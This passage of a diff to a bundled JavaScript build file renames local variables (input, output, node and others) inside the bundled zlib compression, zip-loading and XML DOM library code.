input2.length, 0); } }; } @@ -69853,7 +69853,7 @@ var require_trees = __commonJS({ var elems = desc2.stat_desc.elems; var n, m; var max_code = -1; - var node; + var node2; s.heap_len = 0; s.heap_max = HEAP_SIZE; for (n = 0; n < elems; n++) { @@ -69865,19 +69865,19 @@ var require_trees = __commonJS({ } } while (s.heap_len < 2) { - node = s.heap[++s.heap_len] = max_code < 2 ? ++max_code : 0; - tree[node * 2] = 1; - s.depth[node] = 0; + node2 = s.heap[++s.heap_len] = max_code < 2 ? ++max_code : 0; + tree[node2 * 2] = 1; + s.depth[node2] = 0; s.opt_len--; if (has_stree) { - s.static_len -= stree[node * 2 + 1]; + s.static_len -= stree[node2 * 2 + 1]; } } desc2.max_code = max_code; for (n = s.heap_len >> 1; n >= 1; n--) { pqdownheap(s, tree, n); } - node = elems; + node2 = elems; do { n = s.heap[ 1 @@ -69899,13 +69899,13 @@ var require_trees = __commonJS({ ]; s.heap[--s.heap_max] = n; s.heap[--s.heap_max] = m; - tree[node * 2] = tree[n * 2] + tree[m * 2]; - s.depth[node] = (s.depth[n] >= s.depth[m] ? s.depth[n] : s.depth[m]) + 1; - tree[n * 2 + 1] = tree[m * 2 + 1] = node; + tree[node2 * 2] = tree[n * 2] + tree[m * 2]; + s.depth[node2] = (s.depth[n] >= s.depth[m] ? s.depth[n] : s.depth[m]) + 1; + tree[n * 2 + 1] = tree[m * 2 + 1] = node2; s.heap[ 1 /*SMALLEST*/ - ] = node++; + ] = node2++; pqdownheap( s, tree, @@ -71189,7 +71189,7 @@ var require_deflate = __commonJS({ var wrap2; var avail; var next; - var input; + var input2; var tmpDict; if (!strm || !strm.state) { return Z_STREAM_ERROR; @@ -71217,7 +71217,7 @@ var require_deflate = __commonJS({ } avail = strm.avail_in; next = strm.next_in; - input = strm.input; + input2 = strm.input; strm.avail_in = dictLength; strm.next_in = 0; strm.input = dictionary; @@ -71242,7 +71242,7 @@ var require_deflate = __commonJS({ s.match_length = s.prev_length = MIN_MATCH - 1; s.match_available = 0; strm.next_in = next; - strm.input = input; + strm.input = input2; strm.avail_in = avail; s.wrap = wrap2; return Z_OK; @@ -71559,23 +71559,23 @@ var require_deflate2 = __commonJS({ this.err = status; this.msg = this.strm.msg; }; - function deflate(input, options) { + function deflate(input2, options) { var deflator = new Deflate(options); - deflator.push(input, true); + deflator.push(input2, true); if (deflator.err) { throw deflator.msg || msg[deflator.err]; } return deflator.result; } - function deflateRaw(input, options) { + function deflateRaw(input2, options) { options = options || {}; options.raw = true; - return deflate(input, options); + return deflate(input2, options); } - function gzip(input, options) { + function gzip(input2, options) { options = options || {}; options.gzip = true; - return deflate(input, options); + return deflate(input2, options); } exports2.Deflate = Deflate; exports2.deflate = deflate; @@ -71614,13 +71614,13 @@ var require_inffast = __commonJS({ var dist; var from; var from_source; - var input, output; + var input2, output2; state = strm.state; _in = strm.next_in; - input = strm.input; + input2 = strm.input; last2 = _in + (strm.avail_in - 5); _out = strm.next_out; - output = strm.output; + output2 = strm.output; beg = _out - (start - strm.avail_out); end = _out + (strm.avail_out - 257); dmax = state.dmax; @@ -71637,9 +71637,9 @@ var require_inffast = __commonJS({ top: do { if (bits < 15) { - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; } here = lcode[hold & lmask]; @@ -71650,13 +71650,13 @@ var require_inffast = __commonJS({ bits -= op; op = here >>> 16 & 255; if (op === 0) { - output[_out++] = here & 65535; + output2[_out++] = here & 65535; } else if (op & 16) { len = here & 65535; op &= 15; if (op) { if (bits < op) { - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; } len += hold & (1 << op) - 1; @@ -71664,9 +71664,9 @@ var require_inffast = __commonJS({ bits -= op; } if (bits < 15) { - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; } here = dcode[hold & dmask]; @@ -71680,10 +71680,10 @@ var require_inffast = __commonJS({ dist = here & 65535; op &= 15; if (bits < op) { - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; if (bits < op) { - hold += input[_in++] << bits; + hold += input2[_in++] << bits; bits += 8; } } @@ -71712,10 +71712,10 @@ var require_inffast = __commonJS({ if (op < len) { len -= op; do { - output[_out++] = s_window[from++]; + output2[_out++] = s_window[from++]; } while (--op); from = _out - dist; - from_source = output; + from_source = output2; } } else if (wnext < op) { from += wsize + wnext - op; @@ -71723,17 +71723,17 @@ var require_inffast = __commonJS({ if (op < len) { len -= op; do { - output[_out++] = s_window[from++]; + output2[_out++] = s_window[from++]; } while (--op); from = 0; if (wnext < len) { op = wnext; len -= op; do { - output[_out++] = s_window[from++]; + output2[_out++] = s_window[from++]; } while (--op); from = _out - dist; - from_source = output; + from_source = output2; } } } else { @@ -71741,36 +71741,36 @@ var require_inffast = __commonJS({ if (op < len) { len -= op; do { - output[_out++] = s_window[from++]; + output2[_out++] = s_window[from++]; } while (--op); from = _out - dist; - from_source = output; + from_source = output2; } } while (len > 2) { - output[_out++] = from_source[from++]; - output[_out++] = from_source[from++]; - output[_out++] = from_source[from++]; + output2[_out++] = from_source[from++]; + output2[_out++] = from_source[from++]; + output2[_out++] = from_source[from++]; len -= 3; } if (len) { - output[_out++] = from_source[from++]; + output2[_out++] = from_source[from++]; if (len > 1) { - output[_out++] = from_source[from++]; + output2[_out++] = from_source[from++]; } } } else { from = _out - dist; do { - output[_out++] = output[from++]; - output[_out++] = output[from++]; - output[_out++] = output[from++]; + output2[_out++] = output2[from++]; + output2[_out++] = output2[from++]; + output2[_out++] = output2[from++]; len -= 3; } while (len > 2); if (len) { - output[_out++] = output[from++]; + output2[_out++] = output2[from++]; if (len > 1) { - output[_out++] = output[from++]; + output2[_out++] = output2[from++]; } } } @@ -72379,7 +72379,7 @@ var require_inflate = __commonJS({ } function inflate(strm, flush) { var state; - var input, output; + var input2, output2; var next; var put; var have, left; @@ -72409,10 +72409,10 @@ var require_inflate = __commonJS({ state.mode = TYPEDO; } put = strm.next_out; - output = strm.output; + output2 = strm.output; left = strm.avail_out; next = strm.next_in; - input = strm.input; + input2 = strm.input; have = strm.avail_in; hold = state.hold; bits = state.bits; @@ -72432,7 +72432,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (state.wrap & 2 && hold === 35615) { @@ -72482,7 +72482,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.flags = hold; @@ -72514,7 +72514,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (state.head) { @@ -72537,7 +72537,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (state.head) { @@ -72560,7 +72560,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.length = hold; @@ -72593,7 +72593,7 @@ var require_inflate = __commonJS({ } utils.arraySet( state.head.extra, - input, + input2, next, // extra field is limited to 65536 bytes // - no need for additional size check @@ -72603,7 +72603,7 @@ var require_inflate = __commonJS({ ); } if (state.flags & 512) { - state.check = crc32(state.check, input, copy, next); + state.check = crc32(state.check, input2, copy, next); } have -= copy; next += copy; @@ -72623,13 +72623,13 @@ var require_inflate = __commonJS({ } copy = 0; do { - len = input[next + copy++]; + len = input2[next + copy++]; if (state.head && len && state.length < 65536) { state.head.name += String.fromCharCode(len); } } while (len && copy < have); if (state.flags & 512) { - state.check = crc32(state.check, input, copy, next); + state.check = crc32(state.check, input2, copy, next); } have -= copy; next += copy; @@ -72649,13 +72649,13 @@ var require_inflate = __commonJS({ } copy = 0; do { - len = input[next + copy++]; + len = input2[next + copy++]; if (state.head && len && state.length < 65536) { state.head.comment += String.fromCharCode(len); } } while (len && copy < have); if (state.flags & 512) { - state.check = crc32(state.check, input, copy, next); + state.check = crc32(state.check, input2, copy, next); } have -= copy; next += copy; @@ -72674,7 +72674,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (hold !== (state.check & 65535)) { @@ -72698,7 +72698,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } strm.adler = state.check = zswap32(hold); @@ -72736,7 +72736,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.last = hold & 1; @@ -72773,7 +72773,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if ((hold & 65535) !== (hold >>> 16 ^ 65535)) { @@ -72804,7 +72804,7 @@ var require_inflate = __commonJS({ if (copy === 0) { break inf_leave; } - utils.arraySet(output, input, next, copy, put); + utils.arraySet(output2, input2, next, copy, put); have -= copy; next += copy; left -= copy; @@ -72820,7 +72820,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.nlen = (hold & 31) + 257; @@ -72847,7 +72847,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.lens[order[state.have++]] = hold & 7; @@ -72884,7 +72884,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (here_val < 16) { @@ -72899,7 +72899,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } hold >>>= here_bits; @@ -72920,7 +72920,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } hold >>>= here_bits; @@ -72936,7 +72936,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } hold >>>= here_bits; @@ -73001,10 +73001,10 @@ var require_inflate = __commonJS({ state.bits = bits; inflate_fast(strm, _out); put = strm.next_out; - output = strm.output; + output2 = strm.output; left = strm.avail_out; next = strm.next_in; - input = strm.input; + input2 = strm.input; have = strm.avail_in; hold = state.hold; bits = state.bits; @@ -73026,7 +73026,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (here_op && (here_op & 240) === 0) { @@ -73045,7 +73045,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } hold >>>= last_bits; @@ -73081,7 +73081,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.length += hold & (1 << state.extra) - 1; @@ -73105,7 +73105,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if ((here_op & 240) === 0) { @@ -73124,7 +73124,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } hold >>>= last_bits; @@ -73151,7 +73151,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } state.offset += hold & (1 << state.extra) - 1; @@ -73191,7 +73191,7 @@ var require_inflate = __commonJS({ } from_source = state.window; } else { - from_source = output; + from_source = output2; from = put - state.offset; copy = state.length; } @@ -73201,7 +73201,7 @@ var require_inflate = __commonJS({ left -= copy; state.length -= copy; do { - output[put++] = from_source[from++]; + output2[put++] = from_source[from++]; } while (--copy); if (state.length === 0) { state.mode = LEN; @@ -73211,7 +73211,7 @@ var require_inflate = __commonJS({ if (left === 0) { break inf_leave; } - output[put++] = state.length; + output2[put++] = state.length; left--; state.mode = LEN; break; @@ -73222,7 +73222,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold |= input[next++] << bits; + hold |= input2[next++] << bits; bits += 8; } _out -= left; @@ -73230,7 +73230,7 @@ var require_inflate = __commonJS({ state.total += _out; if (_out) { strm.adler = state.check = /*UPDATE(state.check, put - _out, _out);*/ - state.flags ? crc32(state.check, output, _out, put - _out) : adler32(state.check, output, _out, put - _out); + state.flags ? crc32(state.check, output2, _out, put - _out) : adler32(state.check, output2, _out, put - _out); } _out = left; if ((state.flags ? hold : zswap32(hold)) !== state.check) { @@ -73250,7 +73250,7 @@ var require_inflate = __commonJS({ break inf_leave; } have--; - hold += input[next++] << bits; + hold += input2[next++] << bits; bits += 8; } if (hold !== (state.total & 4294967295)) { @@ -73296,7 +73296,7 @@ var require_inflate = __commonJS({ state.total += _out; if (state.wrap && _out) { strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/ - state.flags ? crc32(state.check, output, _out, strm.next_out - _out) : adler32(state.check, output, _out, strm.next_out - _out); + state.flags ? crc32(state.check, output2, _out, strm.next_out - _out) : adler32(state.check, output2, _out, strm.next_out - _out); } strm.data_type = state.bits + (state.last ? 64 : 0) + (state.mode === TYPE ? 128 : 0) + (state.mode === LEN_ || state.mode === COPY_ ? 256 : 0); if ((_in === 0 && _out === 0 || flush === Z_FINISH) && ret2 === Z_OK) { @@ -73589,18 +73589,18 @@ var require_inflate2 = __commonJS({ this.err = status; this.msg = this.strm.msg; }; - function inflate(input, options) { + function inflate(input2, options) { var inflator = new Inflate(options); - inflator.push(input, true); + inflator.push(input2, true); if (inflator.err) { throw inflator.msg || msg[inflator.err]; } return inflator.result; } - function inflateRaw(input, options) { + function inflateRaw(input2, options) { options = options || {}; options.raw = true; - return inflate(input, options); + return inflate(input2, options); } exports2.Inflate = Inflate; exports2.inflate = inflate; @@ -75103,20 +75103,20 @@ var require_load = __commonJS({ var zipEntries = results.shift(); var files = zipEntries.files; for (var i = 0; i < files.length; i++) { - var input = files[i]; - var unsafeName = input.fileNameStr; - var safeName = utils.resolve(input.fileNameStr); - zip.file(safeName, input.decompressed, { + var input2 = files[i]; + var unsafeName = input2.fileNameStr; + var safeName = utils.resolve(input2.fileNameStr); + zip.file(safeName, input2.decompressed, { binary: true, optimizedBinaryString: true, - date: input.date, - dir: input.dir, - comment: input.fileCommentStr.length ? input.fileCommentStr : null, - unixPermissions: input.unixPermissions, - dosPermissions: input.dosPermissions, + date: input2.date, + dir: input2.dir, + comment: input2.fileCommentStr.length ? input2.fileCommentStr : null, + unixPermissions: input2.unixPermissions, + dosPermissions: input2.dosPermissions, createFolders: options.createFolders }); - if (!input.dir) { + if (!input2.dir) { zip.file(safeName).unsafeOriginalName = unsafeName; } } @@ -75450,11 +75450,11 @@ var require_dom = __commonJS({ var find2 = conventions.find; var NAMESPACE = conventions.NAMESPACE; var tagNamePattern = conventions.tagNamePattern; - function notEmptyString(input) { - return input !== ""; + function notEmptyString(input2) { + return input2 !== ""; } - function splitOnASCIIWhitespace(input) { - return input ? input.split(/[\t\n\f\r ]+/).filter(notEmptyString) : []; + function splitOnASCIIWhitespace(input2) { + return input2 ? input2.split(/[\t\n\f\r ]+/).filter(notEmptyString) : []; } function orderedSetReducer(current, element) { if (!current.hasOwnProperty(element)) { @@ -75462,9 +75462,9 @@ var require_dom = __commonJS({ } return current; } - function toOrderedSet(input) { - if (!input) return []; - var list = splitOnASCIIWhitespace(input); + function toOrderedSet(input2) { + if (!input2) return []; + var list = splitOnASCIIWhitespace(input2); return Object.keys(list.reduce(orderedSetReducer, {})); } function arrayIncludes(list) { @@ -75530,16 +75530,16 @@ var require_dom = __commonJS({ var INVALID_ACCESS_ERR = ExceptionCode.INVALID_ACCESS_ERR = (ExceptionMessage[15] = "Invalid access", 15); function DOMException(code, message2) { if (message2 instanceof Error) { - var error51 = message2; + var error62 = message2; } else { - error51 = this; + error62 = this; Error.call(this, ExceptionMessage[code]); this.message = ExceptionMessage[code]; if (Error.captureStackTrace) Error.captureStackTrace(this, DOMException); } - error51.code = code; + error62.code = code; if (message2) this.message = this.message + ": " + message2; - return error51; + return error62; } DOMException.prototype = Error.prototype; copy(ExceptionCode, DOMException); @@ -75586,8 +75586,8 @@ var require_dom = __commonJS({ return Array.prototype.indexOf.call(this, item); } }; - function LiveNodeList(node, refresh) { - this._node = node; + function LiveNodeList(node2, refresh) { + this._node = node2; this._refresh = refresh; _updateLiveList(this); } @@ -75615,10 +75615,10 @@ var require_dom = __commonJS({ function NamedNodeMap() { this._nameIndex = /* @__PURE__ */ Object.create(null); } - function _findNodeIndex(list, node) { + function _findNodeIndex(list, node2) { var i = list.length; while (i--) { - if (list[i] === node) { + if (list[i] === node2) { return i; } } @@ -75715,9 +75715,9 @@ var require_dom = __commonJS({ getNamedItemNS: function(namespaceURI, localName) { var i = this.length; while (i--) { - var node = this[i]; - if (node.localName == localName && node.namespaceURI == namespaceURI) { - return node; + var node2 = this[i]; + if (node2.localName == localName && node2.namespaceURI == namespaceURI) { + return node2; } } return null; @@ -75817,12 +75817,12 @@ var require_dom = __commonJS({ * @see https://www.w3.org/TR/xml-names/#ns-qualnames XML Namespaces: Qualified names */ createDocumentType: function(qualifiedName, publicId, systemId) { - var node = new DocumentType(); - node.name = qualifiedName; - node.nodeName = qualifiedName; - node.publicId = publicId || ""; - node.systemId = systemId || ""; - return node; + var node2 = new DocumentType(); + node2.name = qualifiedName; + node2.nodeName = qualifiedName; + node2.publicId = publicId || ""; + node2.systemId = systemId || ""; + return node2; } }; function Node2() { @@ -75883,8 +75883,8 @@ var require_dom = __commonJS({ */ normalize: function() { walkDOM(this, null, { - enter: function(node) { - var child = node.firstChild; + enter: function(node2) { + var child = node2.firstChild; while (child) { var next = child.nextSibling; if (next !== null && next.nodeType === TEXT_NODE && child.nodeType === TEXT_NODE) { @@ -75906,10 +75906,10 @@ var require_dom = __commonJS({ if (sibling !== null) { sibling.previousSibling = child; } else { - node.lastChild = child; + node2.lastChild = child; } child.appendData(tail.join("")); - _onUpdateChild(node.ownerDocument, node); + _onUpdateChild(node2.ownerDocument, node2); child = sibling; } else { child = next; @@ -75981,13 +75981,13 @@ var require_dom = __commonJS({ } copy(NodeType, Node2); copy(NodeType, Node2.prototype); - function _visitNode(node, callback) { - return walkDOM(node, null, { enter: function(n) { + function _visitNode(node2, callback) { + return walkDOM(node2, null, { enter: function(n) { return callback(n) ? walkDOM.STOP : true; } }) === walkDOM.STOP; } - function walkDOM(node, context2, callbacks) { - var stack = [{ node, context: context2, phase: walkDOM.ENTER }]; + function walkDOM(node2, context2, callbacks) { + var stack = [{ node: node2, context: context2, phase: walkDOM.ENTER }]; while (stack.length > 0) { var frame = stack.pop(); if (frame.phase === walkDOM.ENTER) { @@ -76068,20 +76068,20 @@ var require_dom = __commonJS({ _onUpdateChild(parentNode.ownerDocument, parentNode); return child; } - function hasValidParentNodeType(node) { - return node && (node.nodeType === Node2.DOCUMENT_NODE || node.nodeType === Node2.DOCUMENT_FRAGMENT_NODE || node.nodeType === Node2.ELEMENT_NODE); + function hasValidParentNodeType(node2) { + return node2 && (node2.nodeType === Node2.DOCUMENT_NODE || node2.nodeType === Node2.DOCUMENT_FRAGMENT_NODE || node2.nodeType === Node2.ELEMENT_NODE); } - function hasInsertableNodeType(node) { - return node && (isElementNode(node) || isTextNode(node) || isDocTypeNode(node) || node.nodeType === Node2.DOCUMENT_FRAGMENT_NODE || node.nodeType === Node2.COMMENT_NODE || node.nodeType === Node2.PROCESSING_INSTRUCTION_NODE); + function hasInsertableNodeType(node2) { + return node2 && (isElementNode(node2) || isTextNode(node2) || isDocTypeNode(node2) || node2.nodeType === Node2.DOCUMENT_FRAGMENT_NODE || node2.nodeType === Node2.COMMENT_NODE || node2.nodeType === Node2.PROCESSING_INSTRUCTION_NODE); } - function isDocTypeNode(node) { - return node && node.nodeType === Node2.DOCUMENT_TYPE_NODE; + function isDocTypeNode(node2) { + return node2 && node2.nodeType === Node2.DOCUMENT_TYPE_NODE; } - function isElementNode(node) { - return node && node.nodeType === Node2.ELEMENT_NODE; + function isElementNode(node2) { + return node2 && node2.nodeType === Node2.ELEMENT_NODE; } - function isTextNode(node) { - return node && node.nodeType === Node2.TEXT_NODE; + function isTextNode(node2) { + return node2 && node2.nodeType === Node2.TEXT_NODE; } function isElementInsertionPossible(doc, child) { var parentChildNodes = doc.childNodes || []; @@ -76093,8 +76093,8 @@ var require_dom = __commonJS({ } function isElementReplacementPossible(doc, child) { var parentChildNodes = doc.childNodes || []; - function hasElementChildThatIsNotChild(node) { - return isElementNode(node) && node !== child; + function hasElementChildThatIsNotChild(node2) { + return isElementNode(node2) && node2 !== child; } if (find2(parentChildNodes, hasElementChildThatIsNotChild)) { return false; @@ -76102,7 +76102,7 @@ var require_dom = __commonJS({ var docTypeNode = find2(parentChildNodes, isDocTypeNode); return !(child && docTypeNode && parentChildNodes.indexOf(docTypeNode) > parentChildNodes.indexOf(child)); } - function assertPreInsertionValidity1to5(parent, node, child) { + function assertPreInsertionValidity1to5(parent, node2, child) { if (!hasValidParentNodeType(parent)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "Unexpected parent node type " + parent.nodeType); } @@ -76111,22 +76111,22 @@ var require_dom = __commonJS({ } if ( // 4. If `node` is not a DocumentFragment, DocumentType, Element, or CharacterData node, then throw a "HierarchyRequestError" DOMException. - !hasInsertableNodeType(node) || // 5. If either `node` is a Text node and `parent` is a document, + !hasInsertableNodeType(node2) || // 5. If either `node` is a Text node and `parent` is a document, // the sax parser currently adds top level text nodes, this will be fixed in 0.9.0 // || (node.nodeType === Node.TEXT_NODE && parent.nodeType === Node.DOCUMENT_NODE) // or `node` is a doctype and `parent` is not a document, then throw a "HierarchyRequestError" DOMException. - isDocTypeNode(node) && parent.nodeType !== Node2.DOCUMENT_NODE + isDocTypeNode(node2) && parent.nodeType !== Node2.DOCUMENT_NODE ) { throw new DOMException( HIERARCHY_REQUEST_ERR, - "Unexpected node type " + node.nodeType + " for parent node type " + parent.nodeType + "Unexpected node type " + node2.nodeType + " for parent node type " + parent.nodeType ); } } - function assertPreInsertionValidityInDocument(parent, node, child) { + function assertPreInsertionValidityInDocument(parent, node2, child) { var parentChildNodes = parent.childNodes || []; - var nodeChildNodes = node.childNodes || []; - if (node.nodeType === Node2.DOCUMENT_FRAGMENT_NODE) { + var nodeChildNodes = node2.childNodes || []; + if (node2.nodeType === Node2.DOCUMENT_FRAGMENT_NODE) { var nodeChildElements = nodeChildNodes.filter(isElementNode); if (nodeChildElements.length > 1 || find2(nodeChildNodes, isTextNode)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "More than one element or text in fragment"); @@ -76135,12 +76135,12 @@ var require_dom = __commonJS({ throw new DOMException(HIERARCHY_REQUEST_ERR, "Element in fragment can not be inserted before doctype"); } } - if (isElementNode(node)) { + if (isElementNode(node2)) { if (!isElementInsertionPossible(parent, child)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "Only one element can be added and only after doctype"); } } - if (isDocTypeNode(node)) { + if (isDocTypeNode(node2)) { if (find2(parentChildNodes, isDocTypeNode)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "Only one doctype is allowed"); } @@ -76153,10 +76153,10 @@ var require_dom = __commonJS({ } } } - function assertPreReplacementValidityInDocument(parent, node, child) { + function assertPreReplacementValidityInDocument(parent, node2, child) { var parentChildNodes = parent.childNodes || []; - var nodeChildNodes = node.childNodes || []; - if (node.nodeType === Node2.DOCUMENT_FRAGMENT_NODE) { + var nodeChildNodes = node2.childNodes || []; + if (node2.nodeType === Node2.DOCUMENT_FRAGMENT_NODE) { var nodeChildElements = nodeChildNodes.filter(isElementNode); if (nodeChildElements.length > 1 || find2(nodeChildNodes, isTextNode)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "More than one element or text in fragment"); @@ -76165,14 +76165,14 @@ var require_dom = __commonJS({ throw new DOMException(HIERARCHY_REQUEST_ERR, "Element in fragment can not be inserted before doctype"); } } - if (isElementNode(node)) { + if (isElementNode(node2)) { if (!isElementReplacementPossible(parent, child)) { throw new DOMException(HIERARCHY_REQUEST_ERR, "Only one element can be added and only after doctype"); } } - if (isDocTypeNode(node)) { - let hasDoctypeChildThatIsNotChild2 = function(node2) { - return isDocTypeNode(node2) && node2 !== child; + if (isDocTypeNode(node2)) { + let hasDoctypeChildThatIsNotChild2 = function(node3) { + return isDocTypeNode(node3) && node3 !== child; }; var hasDoctypeChildThatIsNotChild = hasDoctypeChildThatIsNotChild2; if (find2(parentChildNodes, hasDoctypeChildThatIsNotChild2)) { @@ -76184,23 +76184,23 @@ var require_dom = __commonJS({ } } } - function _insertBefore(parent, node, child, _inDocumentAssertion) { - assertPreInsertionValidity1to5(parent, node, child); + function _insertBefore(parent, node2, child, _inDocumentAssertion) { + assertPreInsertionValidity1to5(parent, node2, child); if (parent.nodeType === Node2.DOCUMENT_NODE) { - (_inDocumentAssertion || assertPreInsertionValidityInDocument)(parent, node, child); + (_inDocumentAssertion || assertPreInsertionValidityInDocument)(parent, node2, child); } - var cp = node.parentNode; + var cp = node2.parentNode; if (cp) { - cp.removeChild(node); + cp.removeChild(node2); } - if (node.nodeType === DOCUMENT_FRAGMENT_NODE) { - var newFirst = node.firstChild; + if (node2.nodeType === DOCUMENT_FRAGMENT_NODE) { + var newFirst = node2.firstChild; if (newFirst == null) { - return node; + return node2; } - var newLast = node.lastChild; + var newLast = node2.lastChild; } else { - newFirst = newLast = node; + newFirst = newLast = node2; } var pre = child ? child.previousSibling : parent.lastChild; newFirst.previousSibling = pre; @@ -76221,25 +76221,25 @@ var require_dom = __commonJS({ _updateOwnerDocument(newFirst, targetDoc); } while (newFirst !== newLast && (newFirst = newFirst.nextSibling)); _onUpdateChild(parent.ownerDocument || parent, parent); - if (node.nodeType == DOCUMENT_FRAGMENT_NODE) { - node.firstChild = node.lastChild = null; + if (node2.nodeType == DOCUMENT_FRAGMENT_NODE) { + node2.firstChild = node2.lastChild = null; } - return node; + return node2; } - function _updateOwnerDocument(node, newOwnerDocument) { - if (node.ownerDocument === newOwnerDocument) { + function _updateOwnerDocument(node2, newOwnerDocument) { + if (node2.ownerDocument === newOwnerDocument) { return; } - node.ownerDocument = newOwnerDocument; - if (node.nodeType === ELEMENT_NODE && node.attributes) { - for (var i = 0; i < node.attributes.length; i++) { - var attr = node.attributes.item(i); + node2.ownerDocument = newOwnerDocument; + if (node2.nodeType === ELEMENT_NODE && node2.attributes) { + for (var i = 0; i < node2.attributes.length; i++) { + var attr = node2.attributes.item(i); if (attr) { attr.ownerDocument = newOwnerDocument; } } } - var child = node.firstChild; + var child = node2.firstChild; while (child) { _updateOwnerDocument(child, newOwnerDocument); child = child.nextSibling; @@ -76316,10 +76316,10 @@ var require_dom = __commonJS({ // Introduced in DOM Level 2: getElementById: function(id) { var rtv = null; - _visitNode(this.documentElement, function(node) { - if (node.nodeType == ELEMENT_NODE) { - if (node.getAttribute("id") == id) { - rtv = node; + _visitNode(this.documentElement, function(node2) { + if (node2.nodeType == ELEMENT_NODE) { + if (node2.getAttribute("id") == id) { + rtv = node2; return true; } } @@ -76348,9 +76348,9 @@ var require_dom = __commonJS({ return new LiveNodeList(this, function(base) { var ls = []; if (classNamesSet.length > 0) { - _visitNode(base.documentElement, function(node) { - if (node !== base && node.nodeType === ELEMENT_NODE) { - var nodeClassNames = node.getAttribute("class"); + _visitNode(base.documentElement, function(node2) { + if (node2 !== base && node2.nodeType === ELEMENT_NODE) { + var nodeClassNames = node2.getAttribute("class"); if (nodeClassNames) { var matches = classNames === nodeClassNames; if (!matches) { @@ -76358,7 +76358,7 @@ var require_dom = __commonJS({ matches = classNamesSet.every(arrayIncludes(nodeClassNamesSet)); } if (matches) { - ls.push(node); + ls.push(node2); } } } @@ -76369,33 +76369,33 @@ var require_dom = __commonJS({ }, //document factory method: createElement: function(tagName) { - var node = new Element(); - node.ownerDocument = this; - node.nodeName = tagName; - node.tagName = tagName; - node.localName = tagName; - node.childNodes = new NodeList(); - var attrs = node.attributes = new NamedNodeMap(); - attrs._ownerElement = node; - return node; + var node2 = new Element(); + node2.ownerDocument = this; + node2.nodeName = tagName; + node2.tagName = tagName; + node2.localName = tagName; + node2.childNodes = new NodeList(); + var attrs = node2.attributes = new NamedNodeMap(); + attrs._ownerElement = node2; + return node2; }, createDocumentFragment: function() { - var node = new DocumentFragment(); - node.ownerDocument = this; - node.childNodes = new NodeList(); - return node; + var node2 = new DocumentFragment(); + node2.ownerDocument = this; + node2.childNodes = new NodeList(); + return node2; }, createTextNode: function(data) { - var node = new Text(); - node.ownerDocument = this; - node.appendData(data); - return node; + var node2 = new Text(); + node2.ownerDocument = this; + node2.appendData(data); + return node2; }, createComment: function(data) { - var node = new Comment2(); - node.ownerDocument = this; - node.appendData(data); - return node; + var node2 = new Comment2(); + node2.ownerDocument = this; + node2.appendData(data); + return node2; }, /** * Returns a new CDATASection node whose data is `data`. @@ -76413,10 +76413,10 @@ var require_dom = __commonJS({ if (data.indexOf("]]>") !== -1) { throw new DOMException(INVALID_CHARACTER_ERR, 'data contains "]]>"'); } - var node = new CDATASection(); - node.ownerDocument = this; - node.appendData(data); - return node; + var node2 = new CDATASection(); + node2.ownerDocument = this; + node2.appendData(data); + return node2; }, /** * Returns a ProcessingInstruction node whose target is target and data is data. @@ -76438,20 +76438,20 @@ var require_dom = __commonJS({ * @see https://www.w3.org/TR/DOM-Parsing/#dfn-concept-serialize-xml §3.2.1.7 */ createProcessingInstruction: function(target, data) { - var node = new ProcessingInstruction(); - 